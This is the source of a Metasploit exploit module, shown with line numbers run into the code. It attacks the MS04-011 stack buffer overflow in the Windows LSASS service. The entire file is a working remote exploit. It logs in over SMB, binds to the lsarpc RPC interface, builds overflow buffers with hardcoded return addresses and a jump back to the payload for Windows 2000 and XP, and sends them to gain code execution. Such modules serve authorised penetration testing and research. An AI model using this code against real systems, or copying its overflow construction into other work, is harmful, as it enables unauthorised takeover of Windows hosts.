Path: blob/master/modules/exploits/windows/smb/ms04_011_lsass.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78#9# This module exploits a vulnerability in the LSASS service10#11include Msf::Exploit::Remote::DCERPC12include Msf::Exploit::Remote::SMB::Client1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'MS04-011 Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow',19'Description' => %q{20This module exploits a stack buffer overflow in the LSASS service, this vulnerability21was originally found by eEye. When re-exploiting a Windows XP system, you will need22need to run this module twice. DCERPC request fragmentation can be performed by setting23'FragSize' parameter.24},25'Author' => [ 'hdm' ],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2003-0533' ],29[ 'OSVDB', '5248' ],30[ 'BID', '10108' ],31[ 'MSB', 'MS04-011' ],32],33'Privileged' => true,34'DefaultOptions' => {35'EXITFUNC' => 'thread'36},37'Payload' => {38'Space' => 1024,39'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",40'StackAdjustment' => -3500,41},42'Platform' => 'win',43'Targets' => [44# Automatic45[46'Automatic Targetting',47{48'Rets' => [ ],49},50],51# Windows 200052[53'Windows 2000 English',54{55'Rets' => [ 0x773242e0 ],56},57],58# Windows XP59[60'Windows XP English',61{62'Rets' => [ 0x7449bf1a ],63},64],65],66'DefaultTarget' => 0,67'DisclosureDate' => '2004-04-13',68'Notes' => {69'Reliability' => UNKNOWN_RELIABILITY,70'Stability' => UNKNOWN_STABILITY,71'SideEffects' => UNKNOWN_SIDE_EFFECTS72}73)74)7576deregister_options('SMB::ProtocolVersion')77end7879def exploit80connect(versions: [1])81smb_login()8283handle = dcerpc_handle('3919286a-b10c-11d0-9ba8-00c04fd92ef5', '0.0', 'ncacn_np', ['\lsarpc'])84print_status("Binding to #{handle}...")85dcerpc_bind(handle)86print_status("Bound to #{handle}...")8788print_status('Getting OS information...')8990# Check the remote OS name and version91os = smb_peer_os92buff = ''93case os9495# Windows 2000 requires that the string be unicode formatted96# and give us a nice set of registers which point back to97# the un-unicoded data. We simply return to a nop sled that98# jumps over the return address, some trash, and into the99# final payload. Easy as pie.100when /Windows 5\.0/101str = rand_text_alphanumeric(3500)102str[2020, 4] = [targets[1]['Rets'][0]].pack('V')103str[2104, payload.encoded.length] = payload.encoded104buff = NDR.UnicodeConformantVaryingString(str)105106# Windows XP is a bit different, we need to use an ascii107# buffer and a jmp esp. The esp register points to an108# eight byte segment at the end of our buffer in memory,109# we make these bytes jump back to the beginning of the110# buffer, giving us about 1936 bytes of space for a111# payload.112when /Windows 5\.1/113str = rand_text_alphanumeric(7000) + "\x00\x00"114str[0, payload.encoded.length] = payload.encoded115str[1964, 4] = [targets[2]['Rets'][0]].pack('V')116str[1980, 5] = "\xe9\x3f\xf8\xff\xff" # jmp back to payload117str[6998, 2] = "\x00\x00"118buff = NDR.UnicodeConformantVaryingStringPreBuilt(str)119120# Unsupported target121else122print_status("No target is available for #{os}")123return124end125126stub = buff +127NDR.long(rand(0xFFFFFF)) +128NDR.UnicodeConformantVaryingString('') +129NDR.UnicodeConformantVaryingString('') +130NDR.UnicodeConformantVaryingString('') +131NDR.UnicodeConformantVaryingString('') +132NDR.long(rand(0xFFFFFF)) +133NDR.UnicodeConformantVaryingString('') +134NDR.long(rand(0xFFFFFF)) +135NDR.UnicodeConformantVaryingString('') +136NDR.long(rand(0xFFFFFF)) +137NDR.UnicodeConformantVaryingString('') +138rand_text(528) +139rand_text(528) +140NDR.long(rand(0xFFFFFF))141142print_status("Trying to exploit #{os}")143144begin145response = dcerpc_call(9, stub)146rescue Rex::Proto::DCERPC::Exceptions::NoResponse147print_status('Server did not respond, but that should be ok...')148rescue Rex::Proto::DCERPC::Exceptions::Fault149case $!.fault150when 0x1c010002151print_status('Server appears to have been patched')152else153print_status("Unexpected DCERPC fault 0x%.8x" % $!.fault)154end155end156157# Perform any required client-side payload handling158handler159end160end161162163